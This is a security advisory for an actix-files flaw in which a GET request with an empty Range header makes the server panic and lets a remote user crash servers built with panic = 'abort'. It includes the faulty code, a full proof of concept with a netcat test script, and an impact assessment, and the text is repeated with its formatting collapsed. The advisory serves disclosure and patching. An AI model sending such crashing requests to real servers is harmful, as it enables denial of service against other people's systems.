Summary
A GET request for a static file served by actix-files with an empty Range header triggers a panic. With panic = "abort", a remote user may crash the process on-demand.
Details
actix-files assumes that HttpRange::parse(), when Ok, always returns a vector with at least one element. When parse() is called on an empty string, it returns Ok(vec![]). This can cause a panic at named.rs:534 when handling an HTTP request with an empty Range: header. This shouldn't significantly impact programs built with the default panic = "unwind", as the only effect is that the connection is closed when the worker thread panics and new threads are spooled up on demand. Programs built with panic = "abort" are vulnerable to being crashed on-demand by any user with permissions to perform a GET request for a static file served by actix-files.
|
// check for range header |
|
if let Some(ranges) = req.headers().get(header::RANGE) { |
|
if let Ok(ranges_header) = ranges.to_str() { |
|
if let Ok(ranges) = HttpRange::parse(ranges_header, length) { |
|
length = ranges[0].length; |
|
offset = ranges[0].start; |
PoC
Minimal reproduction
Cargo.toml:
[package]
name = "example"
version = "0.1.0"
edition = "2021"
[dependencies]
actix-web = "=4.5.1"
actix-files = "=0.6.5"
[profile.dev]
panic = "abort"
src/main.rs:
use actix_files::NamedFile;
use actix_web::{get, Responder};
#[get("/")]
async fn index() -> impl Responder {
NamedFile::open("test_file")
}
#[actix_web::main]
async fn main() -> std::io::Result<()> {
use actix_web::{App, HttpServer};
HttpServer::new(|| App::new().service(index))
.bind(("127.0.0.1", 8080))?
.run()
.await
}
test.sh:
#!/bin/bash
echo foo > test_file
cargo b
cargo r&
sleep 1
nc 127.0.0.1 8080 << EOF
GET / HTTP/1.1
Range:
EOF
kill %1
Create these files, then run chmod +x test.sh && ./test.sh. The server should start, then crash upon receiving the GET request from netcat.
This assumes a reasonably UNIX-like system with Rust, bash and netcat installed.
Impact
I believe only programs compiled with panic = "abort" are affected significantly. The only potential impact I can see is denial-of-service, though an attacker able to repeatedly send GET requests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.
Though the impact in the worst case is significant, I expect the real-world risk of this vulnerability to be limited, as I would hope anyone for whom uptime is a significant concern would not compile their program with panic = "abort".
Summary
A GET request for a static file served by
actix-fileswith an emptyRangeheader triggers a panic. Withpanic = "abort", a remote user may crash the process on-demand.Details
actix-filesassumes thatHttpRange::parse(), whenOk, always returns a vector with at least one element. Whenparse()is called on an empty string, it returnsOk(vec![]). This can cause a panic at named.rs:534 when handling an HTTP request with an emptyRange:header. This shouldn't significantly impact programs built with the defaultpanic = "unwind", as the only effect is that the connection is closed when the worker thread panics and new threads are spooled up on demand. Programs built withpanic = "abort"are vulnerable to being crashed on-demand by any user with permissions to perform aGETrequest for a static file served byactix-files.actix-web/actix-files/src/named.rs
Lines 530 to 535 in 0383f4b
PoC
Minimal reproduction
Cargo.toml:src/main.rs:test.sh:Create these files, then run
chmod +x test.sh && ./test.sh. The server should start, then crash upon receiving theGETrequest fromnetcat.This assumes a reasonably UNIX-like system with Rust,
bashandnetcatinstalled.Impact
I believe only programs compiled with
panic = "abort"are affected significantly. The only potential impact I can see is denial-of-service, though an attacker able to repeatedly sendGETrequests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.Though the impact in the worst case is significant, I expect the real-world risk of this vulnerability to be limited, as I would hope anyone for whom uptime is a significant concern would not compile their program with
panic = "abort".